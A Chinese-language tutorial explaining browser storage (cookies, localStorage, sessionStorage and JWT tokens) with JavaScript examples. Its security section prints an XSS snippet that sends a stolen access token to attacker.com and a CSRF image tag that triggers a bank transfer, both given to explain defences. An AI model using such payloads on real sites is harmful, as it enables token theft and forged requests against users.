浏览器存储完全指南 / A Complete Guide to Browser Storage
解释浏览器端存储的各种机制:Cookie、localStorage、sessionStorage、Token。
1. 为什么要了解浏览器存储?
你在开发 Web 应用时,需要把一些数据存在浏览器端:
typescript
// 场景 1:登录状态
用户登录后,刷新页面,仍然保持登录状态
// 场景 2:用户偏好
用户设置了"深色模式",刷新后仍然保持
// 场景 3:购物车
用户添加了商品,关闭浏览器再打开,商品还在浏览器提供了多种存储机制,它们各有特点和用途。
2. 浏览器存储 vs 服务器存储
重要澄清:名字很像,但是完全不同的东西!
| 名称 | 位置 | 说明 |
|---|---|---|
| sessionStorage | 浏览器(前端) | 浏览器端的会话级存储 |
| Session | 服务器(后端) | 服务器端的会话数据 |
浏览器端 vs 服务器端
┌─────────────────────────────────────────────────────────────────┐
│ 你的电脑 │
│ │
│ ╔═════════════════════════════════════════════════════════╗ │
│ ║ 浏览器(前端) ║ │
│ ║ ║ │
│ ║ ┌──────────────────┐ ┌──────────────────┐ ║ │
│ ║ │ Cookie │ │ Web Storage │ ║ │
│ ║ │ │ │ │ ║ │
│ ║ │ ┌────────────┐ │ │ ┌────────────┐ │ ║ │
│ ║ │ │ 存放数据 │ │ │ │localStorage│ │ ║ │
│ ║ │ │ Session ID │ │ │ │ 永久存储 │ │ ║ │
│ ║ │ └────────────┘ │ │ └────────────┘ │ ║ │
│ ║ │ │ │ │ ║ │
│ ║ │ ┌────────────┐ │ │ ┌────────────┐ │ ║ │
│ ║ │ │httpOnly │ │ │ │sessionSto- │ │ ║ │
│ ║ │ │安全存储 │ │ │ │rage │ │ ║ │
│ ║ │ │ Token │ │ │ │ 会话存储 │ │ ║ │
│ ║ │ └────────────┘ │ │ │(页面关闭 │ │ ║ │
│ ║ └──────────────────┘ │ │ 即清除) │ │ ║ │
│ ║ └──────────────────┘ ║ │
│ ╚═════════════════════════════════════════════════════════╝ │
└─────────────────────────────────────────────────────────────────┘
│
│ 网络请求
▼
┌─────────────────────────────────────────────────────────────────┐
│ 服务器(后端) │
│ │
│ ╔═════════════════════════════════════════════════════════╗ │
│ ║ Session Store ║ │
│ ║ ║ │
│ ║ ┌─────────────────────────────────────────────────┐ ║ │
│ ║ │ Session(会话数据) │ ║ │
│ ║ │ ┌──────────────────────────────────────────┐ │ ║ │
│ ║ │ │ sessionId: "abc123" │ │ ║ │
│ ║ │ │ user: { id: 1, name: "Tom", role: "admin" │ │ ║ │
│ ║ │ │ loginTime: "2024-01-01 10:00:00" │ │ ║ │
│ ║ │ └──────────────────────────────────────────┘ │ ║ │
│ ║ └─────────────────────────────────────────────────┘ ║ │
│ ╚═════════════════════════════════════════════════════════╝ │
│ │
└─────────────────────────────────────────────────────────────────┘存储位置对比
┌────────────┐ Cookie (sessionId) ┌─────────────┐
│ 浏览器 │ ──────────────────────────► │ 服务器 │
│ │ │ │
│localStorage│ 手动携带 Token │ Session │
│sessionSto- │ ──────────────────────────► │ Store │
│rage │ │ (内存/Redis)│
└────────────┘ └─────────────┘
浏览器存的都是"凭证" 服务器存的是"数据"3. Cookie
3.1 什么是 Cookie?
Cookie 是浏览器存储的一小段文本数据,每次向同域名发送请求时,会自动带上 Cookie。
浏览器 服务器
│ │
│──── 访问 https://example.com ─────────────────►│
│◄─── 响应 + Set-Cookie: user=Tom; expires=...──│
│ (浏览器保存 Cookie) │
│ │
│──── 再次访问(自动带 Cookie)────────────────►│
│ Cookie: user=Tom │
│◄─── 响应 ─────────────────────────────────────│3.2 Cookie 的特点
| 特性 | 说明 |
|---|---|
| 自动发送 | 每次请求自动携带同域名下的 Cookie |
| 大小限制 | 约 4KB |
| 生命周期 | 可以设置过期时间 |
| 服务端设置 | 通过响应头的 Set-Cookie 设置 |
3.3 Cookie 的结构
http
Set-Cookie: name=value; expires=Fri, 31 Dec 2024 23:59:59 GMT; path=/; domain=.example.com; secure; HttpOnly; SameSite=Lax3.4 Cookie 的属性
| 属性 | 说明 | 示例值 |
|---|---|---|
name | Cookie 名称 | sessionId |
value | Cookie 值 | abc123xyz |
expires | 过期时间 | Sat, 01 Jan 2025 00:00:00 GMT |
maxAge | 有效期(秒) | 86400 |
path | 作用路径 | /、/admin |
domain | 作用域名 | .example.com |
secure | 仅 HTTPS | true |
httpOnly | 禁止 JS 访问 | true |
sameSite | CSRF 防护 | strict、lax、none |
3.5 在 JavaScript 中操作 Cookie
javascript
// 写入 Cookie
document.cookie = "username=Tom; path=/; max-age=3600" // 1小时
// 读取 Cookie(只能读所有 Cookie 的字符串)
console.log(document.cookie)
// "username=Tom; token=abc123; theme=dark"
// 封装读取函数
function getCookie(name) {
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'))
return match ? match[2] : null
}
getCookie("username") // "Tom"
// 删除 Cookie(把过期时间设为过去)
document.cookie = "username=; max-age=0"3.6 Cookie 的用途
- 会话管理:Session ID 的载体
- 个性化设置:主题、语言偏好
- 跟踪分析:记录用户行为
4. localStorage
4.1 什么是 localStorage?
localStorage 是 Web Storage API 的一种,持久化存储,除非手动清除,否则永不过期。
javascript
// 存储数据
localStorage.setItem("username", "Tom")
localStorage.setItem("theme", "dark")
// 读取数据
localStorage.getItem("username") // "Tom"
localStorage.getItem("theme") // "dark"
// 删除数据
localStorage.removeItem("username")
// 清空所有
localStorage.clear()
// 查看所有数据
console.log(localStorage) // Storage { length: 2, ... }4.2 localStorage 的特点
| 特性 | 说明 |
|---|---|
| 持久存储 | 永不过期,除非手动清除 |
| 容量大 | 约 5-10MB |
| 字符串存储 | 只能存字符串,对象需 JSON 序列化 |
| 同源策略 | 只能访问同源(协议+域名+端口)的数据 |
| 不自动发送 | 不会随请求发送,需要手动读取 |
4.3 存储对象
javascript
const user = {
id: 1,
name: "Tom",
role: "admin"
}
// ❌ 错误:会变成 "[object Object]"
localStorage.setItem("user", user)
// ✅ 正确:JSON 序列化
localStorage.setItem("user", JSON.stringify(user))
// ✅ 读取时解析
const userData = JSON.parse(localStorage.getItem("user"))
console.log(userData.name) // "Tom"4.4 常见用途
- Token 存储:存放 JWT
- 用户偏好:主题、语言、设置
- 离线数据:缓存一些数据
4.5 与 Pinia 配合(持久化)
typescript
// 安装
npm install pinia-plugin-persistedstate
// 使用
import { createPinia } from "pinia"
import piniaPluginPersistedstate from "pinia-plugin-persistedstate"
const pinia = createPinia()
pinia.use(piniaPluginPersistedstate)
// 定义 Store
import { defineStore } from "pinia"
export const useUserStore = defineStore("user", {
state: () => ({
username: "",
token: ""
}),
persist: true // 开启持久化,自动存到 localStorage
})5. sessionStorage
5.1 什么是 sessionStorage?
sessionStorage 和 localStorage 类似,但会话级别:页面关闭后自动清除。
javascript
// 存储
sessionStorage.setItem("tempData", "some value")
// 读取
sessionStorage.getItem("tempData") // "some value"
// 页面关闭后,数据消失5.2 sessionStorage 的特点
| 特性 | 说明 |
|---|---|
| 会话级存储 | 关闭标签页/浏览器后清除 |
| 同一标签页共享 | 同一个标签页的不同页面可以共享 |
| 容量大 | 约 5-10MB |
| 不自动发送 | 不会随请求发送 |
5.3 常见用途
- 表单暂存:用户填写表单时临时保存
- 页面间传值:同一标签页内的页面共享数据
- 敏感临时数据:不需要持久化的数据
6. Token(浏览器端)
6.1 什么是 Token?
这里的 Token 指的是身份令牌,不是 AI 的 token。Token 是服务器颁发给客户端的"身份证"。
Token 的本质:一个加密的字符串,包含用户身份信息6.2 Token 的类型
Access Token(访问令牌)
typescript
// 服务器生成 JWT 作为 Access Token
const accessToken = jwt.sign(
{ userId: 1, role: "admin" },
secret,
{ expiresIn: "1h" } // 1小时后过期
)
// 客户端存储
localStorage.setItem("accessToken", accessToken)
// 客户端使用(每次请求携带)
fetch("/api/data", {
headers: {
"Authorization": `Bearer ${localStorage.getItem("accessToken")}`
}
})特点:
- 有效期短(通常 1 小时以内)
- 每次请求都需要
Refresh Token(刷新令牌)
typescript
// 服务器生成 Refresh Token(有效期长,如 7 天)
const refreshToken = jwt.sign(
{ userId: 1 },
refreshSecret,
{ expiresIn: "7d" }
)
// 客户端存储(建议存 Cookie,更安全)
localStorage.setItem("refreshToken", refreshToken)
// Access Token 过期时,用 Refresh Token 换新的
async function refreshAccessToken() {
const refreshToken = localStorage.getItem("refreshToken")
const response = await fetch("/api/refresh", {
method: "POST",
body: JSON.stringify({ refreshToken })
})
const { accessToken } = await response.json()
localStorage.setItem("accessToken", accessToken)
}特点:
- 有效期长(通常 7-30 天)
- 只在刷新时使用
- 泄露风险低
6.3 Token 存储在哪里?
| 存储方式 | 优点 | 缺点 |
|---|---|---|
| localStorage | 使用简单,容量大 | 容易受到 XSS 攻击 |
| Cookie (HttpOnly) | 安全,不受 XSS 影响 | 需要服务端配合,受 SameSite 限制 |
| sessionStorage | 会话级,更安全 | 关闭页面后丢失 |
6.4 推荐:Cookie + Token 方案
typescript
// 服务器端:设置 HttpOnly Cookie
res.cookie("accessToken", accessToken, {
httpOnly: true,
secure: true,
sameSite: "strict",
maxAge: 1000 * 60 * 60 // 1小时
})
// 客户端:无须手动处理,浏览器自动发送
fetch("/api/data") // 自动带 Cookie7. 四者对比
| 特性 | Cookie | localStorage | sessionStorage | Token |
|---|---|---|---|---|
| 容量 | ~4KB | ~5-10MB | ~5-10MB | 无限制 |
| 生命周期 | 可设置 | 永不过期 | 会话结束 | 取决于代码 |
| 自动发送 | ✅ | ❌ | ❌ | ❌ |
| 服务端设置 | ✅ | ❌ | ❌ | ❌ |
| JS 访问 | ✅(非 httpOnly) | ✅ | ✅ | ✅ |
| 同源限制 | ✅ | ✅ | ✅ | ✅ |
| 常见用途 | Session ID | 持久化数据 | 临时数据 | 身份认证 |
8. 安全问题
8.1 XSS(跨站脚本攻击)
攻击者通过注入恶意脚本,读取 localStorage 中的数据。
javascript
// 攻击者注入的脚本
const tokens = localStorage.getItem("accessToken")
fetch("https://attacker.com/steal?token=" + tokens)防御:
- 对用户输入进行转义
- 使用 HttpOnly Cookie 存储 Token
- 使用 CSP(内容安全策略)
8.2 CSRF(跨站请求伪造)
攻击者诱导用户访问恶意页面,利用用户已登录的状态发起请求。
html
<!-- 恶意页面 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">防御:
- 使用 SameSite Cookie
- 验证 Referer 或 Origin 头
- 使用 CSRF Token
9. 常见问题
Q1:Cookie 和 localStorage 有什么区别?
- Cookie:自动随请求发送,常用于 Session ID
- localStorage:需要手动读取,不会自动发送,容量更大
Q2:Token 存在 Cookie 还是 localStorage?
- 安全性要求高:Cookie(HttpOnly)
- 简单易用:localStorage
- 移动端/前后端分离:通常用 localStorage 或 sessionStorage
Q3:sessionStorage 和 localStorage 什么时候用?
- 需要持久保存:localStorage
- 只在当前页面会话使用:sessionStorage
Q4:为什么 Token 不用 Cookie 存?
- Token 可能很长,Cookie 有 4KB 限制
- 某些场景需要跨域携带(如 CORS)
10. 总结
| 概念 | 说明 |
|---|---|
| Cookie | 自动发送的小段数据,常用于 Session ID |
| localStorage | 持久化存储,容量大,JS 可访问 |
| sessionStorage | 会话级存储,关闭页面后清除 |
| Access Token | 短期访问令牌,用于每次请求认证 |
| Refresh Token | 长期刷新令牌,用于获取新的 Access Token |
| httpOnly | 禁止 JS 访问,防止 XSS |
| SameSite | CSRF 防护机制 |
最佳实践:
- 敏感信息用 HttpOnly Cookie
- Token 用 localStorage 或 HttpOnly Cookie
- 临时数据用 sessionStorage
- 永远不要在 localStorage 存密码